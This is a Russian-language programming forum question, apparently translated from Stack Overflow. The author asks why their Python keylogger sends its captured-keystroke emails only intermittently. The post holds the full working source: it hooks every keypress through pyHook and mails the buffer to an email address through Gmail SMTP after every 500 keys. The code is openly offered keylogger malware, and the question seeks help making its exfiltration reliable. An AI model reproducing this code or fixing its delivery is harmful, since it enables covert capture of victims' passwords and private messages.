Почему мой маленький кейлоггер не отправляет некоторые электронные письма?
Я написал простой кейлоггер, который отправляет электронную почту каждые 500 нажатых клавиш. И это работает. Но это ненадежно, иногда письмо отправляется, а иногда нет. Допустим, я нажимаю клавишу 1500 раз, это должно быть 3 письма с 500 зарегистрированными ключами. Но я могу получить три электронных письма, два, один или ноль... В зависимости от того, что не получается... Глядя на этот код, не могли бы вы сказать, почему?
import smtplib
import pyHook
import pythoncom
class Keylogger:
def __init__(self):
self.keylog = ''
def OnKeyboardEvent(self, event):
self.keylog += str(event.Key)
if len(self.keylog) >= 500: # Check size of the keystrokes captured
# MAIL STUFF
self.send_email('smtp.gmail.com', 587, 'your@email.com', 'yourpass', '%Keylogger Dump%', self.keylog)
self.keylog = '' # Reset keylog to capture new keystrokes
return True
def send_email(self, server, port, email, password, subject, body):
session = smtplib.SMTP(server, port)
session.ehlo()
session.starttls()
session.ehlo()
session.login(email, password)
headers = [
"From: " + email,
"Subject: " + subject,
"To: " + email,
"MIME-Version: 1.0",
"Content-Type: text/html"
]
headers = "\r\n".join(headers)
session.sendmail(email, email, headers + "\r\n\r\n" + body)
session.close()
if __name__ == '__main__':
# Entry Point
hook_manager = pyHook.HookManager() # Create a new hook manager
hook_manager.KeyDown = Keylogger().OnKeyboardEvent # Assign the keydown event to our custom method
hook_manager.HookKeyboard() # Hook the keyboard events
pythoncom.PumpMessages() # Run forever